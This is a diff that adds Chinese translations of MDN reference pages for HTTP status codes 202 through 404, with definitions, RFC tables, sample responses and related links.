+<p>响应状态码<strong> 202 Accepted</strong> 表示服务器端已经收到请求消息,但是尚未进行处理。但是对于请求的处理确实无保证的,即稍后无法通过 HTTP 协议给客户端发送一个异步请求来告知其请求的处理结果。这个状态码被设计用来将请求交由另外一个进程或者服务器来进行处理,或者是对请求进行批处理的情形。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">202 Accepted</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "202 Accepted" , "6.3.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Accept")}}</li> +</ul> diff --git a/files/zh-cn/web/http/status/203/index.html b/files/zh-cn/web/http/status/203/index.html new file mode 100644 index 0000000000..58547941f5 --- /dev/null +++ b/files/zh-cn/web/http/status/203/index.html @@ -0,0 +1,42 @@ +--- +title: 203 Non-Authoritative Information +slug: Web/HTTP/Status/203 +tags: + - 代理服务器 + - 响应状态码 + - 警告码 + - 转换 +translation_of: Web/HTTP/Status/203 +--- +<div>{{HTTPSidebar}}</div> + +<p>在 HTTP 协议中,响应状态码 <strong><code>203 Non-Authoritative Information</code></strong> 表示请求已经成功被响应,但是获得的负载与源头服务器的状态码为 {{HTTPStatus("200")}} (<code>OK</code>)的响应相比,经过了拥有转换功能的 {{Glossary("Proxy server", "proxy")}} (代理服务器)的修改。</p> + +<p>The <code>203</code> 状态码有点类似于 {{HTTPHeader("Warning")}} 首部的 <code><a href="/en-US/docs/Web/HTTP/Headers/Warning#Warning_codes">214</a></code>(Transformation Applied)警告码,后者的优势在于可以应用于任何状态码的响应之中。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">203 Non-Authoritative Information</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "203 Non-Authoritative Information" , "6.3.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPStatus("200")}}</li> + <li>{{Glossary("Proxy server")}}</li> + <li>{{HTTPHeader("Warning")}}</li> +</ul> diff --git a/files/zh-cn/web/http/status/204/index.html b/files/zh-cn/web/http/status/204/index.html new file mode 100644 index 0000000000..a5606e9f31 --- /dev/null +++ b/files/zh-cn/web/http/status/204/index.html @@ -0,0 +1,47 @@ +--- +title: 204 No Content +slug: Web/HTTP/Status/204 +tags: + - '204' + - HTTP + - HTTP Status Code + - 响应状态码 + - 成功响应 +translation_of: Web/HTTP/Status/204 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <strong><code>204 No Content </code></strong>成功状态响应码,表示该请求已经成功了,但是客户端客户不需要离开当前页面。默认情况下 204 响应是可缓存的。一个 {{HTTPHeader("ETag")}} 标头包含在此类响应中。 </p> + +<p>使用惯例是,在 {{HTTPMethod("PUT")}} 请求中进行资源更新,但是不需要改变当前展示给用户的页面,那么返回 204 No Content。如果创建了资源,则返回 {{HTTPStatus("201")}} <code>Created</code> 。如果应将页面更改为新更新的页面,则应改用 {{HTTPStatus("200")}} 。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">204 No Content</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "204 No Content" , "6.3.5")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.204")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a></li> +</ul> diff --git a/files/zh-cn/web/http/status/205/index.html b/files/zh-cn/web/http/status/205/index.html new file mode 100644 index 0000000000..74beafe8bc --- /dev/null +++ b/files/zh-cn/web/http/status/205/index.html @@ -0,0 +1,36 @@ +--- +title: 205 Reset Content +slug: Web/HTTP/Status/205 +tags: + - 状态码 + - 重置 +translation_of: Web/HTTP/Status/205 +--- +<div>{{HTTPSidebar}}</div> + +<p>在 HTTP 协议中,响应状态码 <strong><code>205 Reset Content</code></strong> 用来通知客户端重置文档视图,比如清空表单内容、重置 canvas 状态或者刷新用户界面。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">205 Reset Content</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "205 Reset Content" , "6.3.6")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPStatus(204)}} No Content</li> +</ul> diff --git a/files/zh-cn/web/http/status/206/index.html b/files/zh-cn/web/http/status/206/index.html new file mode 100644 index 0000000000..59458a983a --- /dev/null +++ b/files/zh-cn/web/http/status/206/index.html @@ -0,0 +1,82 @@ +--- +title: 206 Partial Content +slug: Web/HTTP/Status/206 +tags: + - 206 Partial Content + - 范围请求 +translation_of: Web/HTTP/Status/206 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <strong><code>206 Partial Content</code></strong> 成功状态响应代码表示请求已成功,并且主体包含所请求的数据区间,该数据区间是在请求的 {{HTTPHeader("Range")}} 首部指定的。</p> + +<p>如果只包含一个数据区间,那么整个响应的 {{HTTPHeader("Content-Type")}} 首部的值为所请求的文件的类型,同时包含 {{HTTPHeader("Content-Range")}} 首部。</p> + +<p>如果包含多个数据区间,那么整个响应的 {{HTTPHeader("Content-Type")}} 首部的值为 <code>multipart/byteranges</code> ,其中一个片段对应一个数据区间,并提供 {{HTTPHeader("Content-Range")}} 和 {{HTTPHeader("Content-Type")}} 描述信息。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">206 Partial Content</pre> + +<h2 id="示例">示例</h2> + +<p>只包含一个数据区间的响应:</p> + +<pre class="newpage">HTTP/1.1 206 Partial Content +Date: Wed, 15 Nov 2015 06:25:24 GMT +Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT +Content-Range: bytes 21010-47021/47022 +Content-Length: 26012 +Content-Type: image/gif + +... 26012 bytes of partial image data ...</pre> + +<p>包含多个数据区间的响应:</p> + +<pre class="newpage">HTTP/1.1 206 Partial Content +Date: Wed, 15 Nov 2015 06:25:24 GMT +Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT +Content-Length: 1741 +Content-Type: multipart/byteranges; boundary=String_separator + +--String_separator +Content-Type: application/pdf +Content-Range: bytes 234-639/8000 + +...the first range... +--String_separator +Content-Type: application/pdf +Content-Range: bytes 4590-7999/8000 + +...the second range +--String_separator--</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7233", "206 Partial Content" , "4.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.206")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{HTTPHeader("If-Range")}}</li> + <li>{{HTTPHeader("Range")}}</li> + <li>{{HTTPHeader("Content-Range")}}</li> + <li>{{HTTPHeader("Content-Type")}}</li> +</ul> diff --git a/files/zh-cn/web/http/status/300/index.html b/files/zh-cn/web/http/status/300/index.html new file mode 100644 index 0000000000..16a72ecf23 --- /dev/null +++ b/files/zh-cn/web/http/status/300/index.html @@ -0,0 +1,43 @@ +--- +title: 300 Multiple Choices +slug: Web/HTTP/Status/300 +tags: + - 状态码 +translation_of: Web/HTTP/Status/300 +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>300 Multiple Choices</strong></code> 是一个用来表示重定向的响应状态码,表示该请求拥有多种可能的响应。用户代理或者用户自身应该从中选择一个。由于没有如何进行选择的标准方法,这个状态码极少使用。</p> + +<p>假如服务器可以提供一个优先选择,那么它应该生成一个 {{HTTPHeader("Location")}} 首部。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">300 Multiple Choices</pre> + +<h2 id="示例">示例</h2> + +<p>参考这个页面: <a href="https://www.w3.org/Style/Examples/007/figures.ht">w3.org page for a Multiple Choice response</a>.</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "300 Multiple Choices" , "6.4.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPStatus("301")}} <code>Moved Permanently</code></li> + <li>{{HTTPStatus("302")}} <code>Found</code>, the temporary redirect</li> + <li>{{HTTPStatus("308")}} <code>Permanent Redirect</code></li> +</ul> diff --git a/files/zh-cn/web/http/status/301/index.html b/files/zh-cn/web/http/status/301/index.html new file mode 100644 index 0000000000..a46c5f21c7 --- /dev/null +++ b/files/zh-cn/web/http/status/301/index.html @@ -0,0 +1,46 @@ +--- +title: 301 Moved Permanently +slug: Web/HTTP/Status/301 +tags: + - HTTP + - 状态码 + - 重定向 +translation_of: Web/HTTP/Status/301 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <code><strong>301</strong></code><strong><code> 永久重定向</code></strong> 说明请求的资源已经被移动到了由 {{HTTPHeader("Location")}} 头部指定的url上,是固定的不会再改变。搜索引擎会根据该响应修正。</p> + +<p>尽管标准要求浏览器在收到该响应并进行重定向时不应该修改http method和body,但是有一些浏览器可能会有问题。所以最好是在应对{{HTTPMethod("GET")}} 或 {{HTTPMethod("HEAD")}} 方法时使用301,其他情况使用{{HTTPStatus("308")}} 来替代301。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">301 永久重定向</pre> + +<h2 id="标准">标准</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">标准</th> + <th scope="col">标题</th> + </tr> + <tr> + <td>{{RFC("7231", "301 永久重定向" , "6.4.2")}}</td> + <td>超文本传输协议 (HTTP/1.1): 语义和内容</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">兼容性表格内容是从结构化的数据生成的. 如果你想贡献数据, 可以从这里检出仓库 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>,然后提交给我们.</p> + +<p>{{Compat("http.status.301")}}</p> + +<h2 id="更多信息可见">更多信息可见</h2> + +<ul> + <li>{{HTTPStatus("308")}} 永久重定向</li> + <li>{{HTTPStatus("302")}} 找到, 暂时性转移</li> +</ul> diff --git a/files/zh-cn/web/http/status/302/index.html b/files/zh-cn/web/http/status/302/index.html new file mode 100644 index 0000000000..2e56aaa78f --- /dev/null +++ b/files/zh-cn/web/http/status/302/index.html @@ -0,0 +1,49 @@ +--- +title: 302 Found +slug: Web/HTTP/Status/302 +tags: + - HTTP + - 状态码 + - 重定向 +translation_of: Web/HTTP/Status/302 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <code><strong>302</strong></code><strong><code> Found</code></strong> 重定向状态码表明请求的资源被暂时的移动到了由{{HTTPHeader("Location")}} 头部指定的 URL 上。浏览器会重定向到这个URL, 但是搜索引擎不会对该资源的链接进行更新 (In SEO-speak, it is said that the link-juice is not sent to the new URL)。</p> + +<p>即使规范要求浏览器在重定向时保证请求方法和请求主体不变,但并不是所有的用户代理都会遵循这一点,你依然可以看到有缺陷的软件的存在。所以推荐仅在响应 {{HTTPMethod("GET")}} 或 {{HTTPMethod("HEAD")}} 方法时采用 302 状态码,而在其他时候使用 {{HTTPStatus("307")}} Temporary Redirect 来替代,因为在这些场景下方法变换是明确禁止的。</p> + +<p>在确实需要将重定向请求的方法转换为 {{HTTPMethod("GET")}}的场景下,可以使用 {{HTTPStatus("303")}} See Other。例如在使用 {{HTTPMethod("PUT")}} 方法进行文件上传操作时,需要返回确认信息(例如“你已经成功上传了xyz”)而不是上传的资源本身,就可以使用这个状态码。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">302 Found</pre> + +<h2 id="标准">标准</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">标准</th> + <th scope="col">标题</th> + </tr> + <tr> + <td>{{RFC("7231", "302 Found" , "6.4.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.302")}}</p> + +<h2 id="更多可见">更多可见</h2> + +<ul> + <li>{{HTTPStatus("307")}} <code>Temporary Redirect</code>, the equivalent of this status code, but that never changes the method used.</li> + <li>{{HTTPStatus("303")}} <code>See Also</code>, a temporary redirect that changes the method used to {{HTTPMethod("GET")}}.</li> + <li>{{HTTPStatus("301")}} <code>Found</code>, the temporary redirect.</li> +</ul> diff --git a/files/zh-cn/web/http/status/303/index.html b/files/zh-cn/web/http/status/303/index.html new file mode 100644 index 0000000000..5444daa2d6 --- /dev/null +++ b/files/zh-cn/web/http/status/303/index.html @@ -0,0 +1,39 @@ +--- +title: 303 See Other +slug: Web/HTTP/Status/303 +translation_of: Web/HTTP/Status/303 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <strong>303 See Other</strong> 重定向状态码,通常作为 {{HTTPMethod("PUT")}} 或 {{HTTPMethod("POST")}} 操作的返回结果,它表示重定向链接指向的不是新上传的资源,而是另外一个页面,比如消息确认页面或上传进度页面。而请求重定向页面的方法要总是使用 {{HTTPMethod("GET")}}。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">303 See Other</pre> + +<h2 id="标准">标准</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">标准</th> + <th scope="col">标题</th> + </tr> + <tr> + <td>{{RFC("7231", "303 See Other" , "6.4.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.303")}}</p> + +<h2 id="更多可见">更多可见</h2> + +<ul> + <li>{{HTTPStatus("302")}} <code>Found</code>, the temporary redirect</li> +</ul> diff --git a/files/zh-cn/web/http/status/304/index.html b/files/zh-cn/web/http/status/304/index.html new file mode 100644 index 0000000000..40bb208748 --- /dev/null +++ b/files/zh-cn/web/http/status/304/index.html @@ -0,0 +1,57 @@ +--- +title: 304 Not Modified +slug: Web/HTTP/Status/304 +tags: + - HTTP + - HTTP code + - Reference + - Status code +translation_of: Web/HTTP/Status/304 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <code><strong>304</strong></code><strong><code> 未改变</code></strong>说明无需再次传输请求的内容,也就是说可以使用缓存的内容。这通常是在一些安全的方法({{glossary("safe")}}),例如{{HTTPMethod("GET")}} 或{{HTTPMethod("HEAD")}} 或在请求中附带了头部信息: {{HTTPHeader("If-None-Match")}} 或{{HTTPHeader("If-Modified-Since")}}。</p> + +<p>如果是 {{HTTPStatus("200")}} <code>OK</code> ,响应会带有头部 {{HTTPHeader("Cache-Control")}}, {{HTTPHeader("Content-Location")}}, {{HTTPHeader("Date")}}, {{HTTPHeader("ETag")}}, {{HTTPHeader("Expires")}},和 {{HTTPHeader("Vary")}}.</p> + +<div class="note"> +<p>很多浏览器的 <a href="/en-US/docs/Tools/Network_Monitor">开发者工具</a> 会发出额外的请求,以达到 <code>304</code> 的目的,这样可以把资源以本地缓存的形式展现给开发者。</p> +</div> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox notranslate">304 未改变</pre> + +<h2 id="标准">标准</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">标准</th> + <th scope="col">标题</th> + </tr> + <tr> + <td>{{RFC("7232", "304 Not Modified" , "4.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容">浏览器兼容</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.304")}}</p> + +<h2 id="兼容性提醒">兼容性提醒</h2> + +<ul> + <li>如果响应错误的携带了响应体,那么浏览器会有不同的行为,详情请见 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Status/204">204 No Content</a> 。</li> +</ul> + +<h2 id="更多">更多</h2> + +<ul> + <li>{{HTTPHeader("If-Modified-Since")}}</li> + <li>{{HTTPHeader("If-None-Match")}}</li> +</ul> diff --git a/files/zh-cn/web/http/status/307/index.html b/files/zh-cn/web/http/status/307/index.html new file mode 100644 index 0000000000..0025be78af --- /dev/null +++ b/files/zh-cn/web/http/status/307/index.html @@ -0,0 +1,52 @@ +--- +title: 307 Temporary Redirect +slug: Web/HTTP/Status/307 +tags: + - HTTP + - 参考 + - 响应状态码 + - 状态码 + - 重定向 +translation_of: Web/HTTP/Status/307 +--- +<div>{{HTTPSidebar}}</div> + +<p>{{Glossary("HTTP")}} <code><strong>307 Temporary Redirect</strong></code>,临时重定向响应状态码,表示请求的资源暂时地被移动到了响应的 {{HTTPHeader("Location")}} 首部所指向的 URL 上。</p> + +<p>原始请求中的请求方法和消息主体会在重定向请求中被重用。在确实需要将重定向请求的方法转换为 {{HTTPMethod("GET")}} 的场景下,可以考虑使用 {{HTTPStatus("303", "303 See Other")}} 状态码。例如,在使用 {{HTTPMethod("PUT")}} 方法进行文件上传操作时,如果需要返回一条确认信息(例如“你已经成功上传了 XYZ”),而不是返回上传的资源本身,就可以使用这个状态码。</p> + +<p>状态码 <code>307</code> 与 {{HTTPStatus("302")}} 之间的唯一区别在于,当发送重定向请求的时候,<code>307</code> 状态码可以确保请求方法和消息主体不会发生变化。如果使用 <code>302</code> 响应状态码,一些旧客户端会错误地将请求方法转换为 {{HTTPMethod("GET")}}:也就是说,在 Web 中,如果使用了 <code>GET</code> 以外的请求方法,且返回了 <code>302</code> 状态码,则重定向后的请求方法是不可预测的;但如果使用 <code>307</code> 状态码,之后的请求方法就是可预测的。对于 <code>GET</code> 请求来说,两种情况没有区别。</p> + +<h2 id="状态码">状态码</h2> + +<pre class="syntaxbox">307 Temporary Redirect +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">标题</th> + </tr> + <tr> + <td>{{RFC("7231", "307 Temporary Redirect" , "6.4.7")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.307")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{HTTPStatus("302", "302 Found")}}, the equivalent of this status code, but that may change the method used when it is not a {{HTTPMethod("GET")}}.</li> + <li>{{HTTPStatus("303", "303 See Other")}}, a temporary redirect that changes the method used to {{HTTPMethod("GET")}}.</li> + <li>{{HTTPStatus("301", "301 Moved Permanently")}}, a permanent redirect</li> +</ul> diff --git a/files/zh-cn/web/http/status/308/index.html b/files/zh-cn/web/http/status/308/index.html new file mode 100644 index 0000000000..882a5836ea --- /dev/null +++ b/files/zh-cn/web/http/status/308/index.html @@ -0,0 +1,49 @@ +--- +title: 308 Permanent Redirect +slug: Web/HTTP/Status/308 +tags: + - 响应状态码 + - 重定向 +translation_of: Web/HTTP/Status/308 +--- +<div>{{HTTPSidebar}}</div> + +<p>在 HTTP 协议中, <strong>308 Permanent Redirect</strong>(永久重定向)是表示重定向的响应状态码,说明请求的资源已经被永久的移动到了由 {{HTTPHeader("Location")}} 首部指定的 URL 上。浏览器会进行重定向,同时搜索引擎也会更新其链接(用 SEO 的行话来说,意思是“链接汁”(link juice)被传递到了新的 URL)。</p> + +<p>在重定向过程中,请求方法和消息主体不会发生改变,然而在返回 {{HTTPStatus("301")}} 状态码的情况下,请求方法有时候会被客户端错误地修改为 {{HTTPHeader("GET")}} 方法。</p> + +<div class="note"> +<p>一些 Web 应用可能会将 308 Permanent Redirect 以一种非标准的方式使用以及用作其他用途。例如,Google Drive 会使用 308 Resume Incomplete 状态码来告知客户端文件上传终止且不完整。<sup><a href="https://developers.google.com/drive/v3/web/manage-uploads#resumable">[1]</a></sup></p> +</div> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">308 Permanent Redirect</pre> + +<h2 id="标准">标准</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">标准</th> + <th scope="col">标题</th> + </tr> + <tr> + <td>{{RFC("7538", "308 Permanent Redirect" , "3")}}</td> + <td>The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect)</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.308")}}</p> + +<h2 id="更多可见">更多可见</h2> + +<ul> + <li>{{HTTPStatus("301")}} <code>Moved Permanently</code></li> + <li>{{HTTPStatus("302")}} <code>Found</code>, the temporary redirect</li> +</ul> diff --git a/files/zh-cn/web/http/status/400/index.html b/files/zh-cn/web/http/status/400/index.html new file mode 100644 index 0000000000..4e4c9fed21 --- /dev/null +++ b/files/zh-cn/web/http/status/400/index.html @@ -0,0 +1,30 @@ +--- +title: 400 Bad Request +slug: Web/HTTP/Status/400 +tags: + - 客户端错误 + - 状态码 +translation_of: Web/HTTP/Status/400 +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <strong>400 <code>Bad Request</code></strong> 响应状态码表示由于语法无效,服务器无法理解该请求。 客户端不应该在未经修改的情况下重复此请求。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">400 Bad Request </pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "400 Bad Request" , "6.5.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> diff --git a/files/zh-cn/web/http/status/401/index.html b/files/zh-cn/web/http/status/401/index.html new file mode 100644 index 0000000000..eb7726d0b2 --- /dev/null +++ b/files/zh-cn/web/http/status/401/index.html @@ -0,0 +1,59 @@ +--- +title: 401 Unauthorized +slug: Web/HTTP/Status/401 +tags: + - 客户端错误 + - 状态码 + - 身份验证 + - 身份验证凭证 +translation_of: Web/HTTP/Status/401 +--- +<div>{{HTTPSidebar}}</div> + +<p>状态码 <strong><code>401 Unauthorized</code></strong> 代表客户端错误,指的是由于缺乏目标资源要求的身份验证凭证,发送的请求未得到满足。</p> + +<p>这个状态码会与 {{HTTPHeader("WWW-Authenticate")}} 首部一起发送,其中包含有如何进行验证的信息。</p> + +<p>这个状态类似于 {{HTTPStatus("403")}}, 但是在该情况下,依然可以进行身份验证。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">401 Unauthorized</pre> + +<h2 id="响应示例">响应示例</h2> + +<pre>HTTP/1.1 401 Unauthorized +Date: Wed, 21 Oct 2015 07:28:00 GMT +WWW-Authenticate: Basic realm="Access to staging site"</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7235", "401 Unauthorized" , "3.1")}}</td> + <td>HTTP/1.1: Authentication</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.401")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li> + <li>{{HTTPHeader("WWW-Authenticate")}}</li> + <li>{{HTTPHeader("Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authenticate")}}</li> + <li>{{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> +</ul> diff --git a/files/zh-cn/web/http/status/402/index.html b/files/zh-cn/web/http/status/402/index.html new file mode 100644 index 0000000000..50d7cbf21e --- /dev/null +++ b/files/zh-cn/web/http/status/402/index.html @@ -0,0 +1,54 @@ +--- +title: 402 Payment Required +slug: Web/HTTP/Status/402 +tags: + - HTTP + - 支付成功才可使用 + - 状态码 + - 错误码 +translation_of: Web/HTTP/Status/402 +--- +<p>{{SeeCompatTable}}</p> + +<p><strong style="font-size: 1rem; letter-spacing: -0.00278rem;"><code>402 Payment Required</code></strong> 是一个被保留使用的非标准客户端错误状态响应码。</p> + +<p>有时, 这个状态码表明直到客户端付费之后请求才会被处理。402状态码被创建最初目的是用于数字现金或微型支付系统, 表明客户端请求的内容只有付费之后才能获取。目前还不存在标准的使用约定, 不同的实体可以在不同的环境下使用。</p> + +<h2 id="状态">状态</h2> + +<pre>402 Payment Required</pre> + +<h2 id="响应样例">响应样例</h2> + +<pre>HTTP/1.1 402 Payment Required +Date: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="规范">规范</h2> + +<table> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">标题</th> + </tr> + <tr> + <td>{{RFC("7231", "402 Payment Required" , "6.5.2")}}</td> + <td>HTTP/1.1: Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div class="hidden"> +<p>本页面的兼容性表从结构化数据中生成, 如果你想对数据做出贡献,请查看<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>并向我们发送拉取请求</p> +</div> + +<p>{{Compat("http.status.402")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li> +</ul> diff --git a/files/zh-cn/web/http/status/403/index.html b/files/zh-cn/web/http/status/403/index.html new file mode 100644 index 0000000000..dc23dea60b --- /dev/null +++ b/files/zh-cn/web/http/status/403/index.html @@ -0,0 +1,53 @@ +--- +title: 403 Forbidden +slug: Web/HTTP/Status/403 +tags: + - 客户端错误 + - 身份验证 + - 首部 + - 验证失败 +translation_of: Web/HTTP/Status/403 +--- +<div>{{HTTPSidebar}}</div> + +<p>状态码 <strong><code>403 Forbidden</code></strong> 代表客户端错误,指的是服务器端有能力处理该请求,但是拒绝授权访问。</p> + +<p>这个状态类似于 {{HTTPStatus("401")}},但进入该状态后不能再继续进行验证。该访问是长期禁止的,并且与应用逻辑密切相关(例如不正确的密码)。</p> + +<h2 id="状态">状态</h2> + +<pre class="syntaxbox">403 Forbidden</pre> + +<h2 id="响应示例">响应示例</h2> + +<pre>HTTP/1.1 403 Forbidden +Date: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "403 Forbidden" , "6.5.3")}}</td> + <td>HTTP/1.1: Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.403")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPStatus("401")}}</li> + <li><a href="https://www.exai.com/blog/403-forbidden">403 forbidden error</a></li> +</ul> diff --git a/files/zh-cn/web/http/status/404/index.html b/files/zh-cn/web/http/status/404/index.html new file mode 100644 index 0000000000..759fcd11c1 --- /dev/null +++ b/files/zh-cn/web/http/status/404/index.html @@ -0,0 +1,61 @@ +--- +title: 404 Not Found +slug: Web/HTTP/Status/404 +tags: + - 客户端错误 +translation_of: Web/HTTP/Status/404 +--- 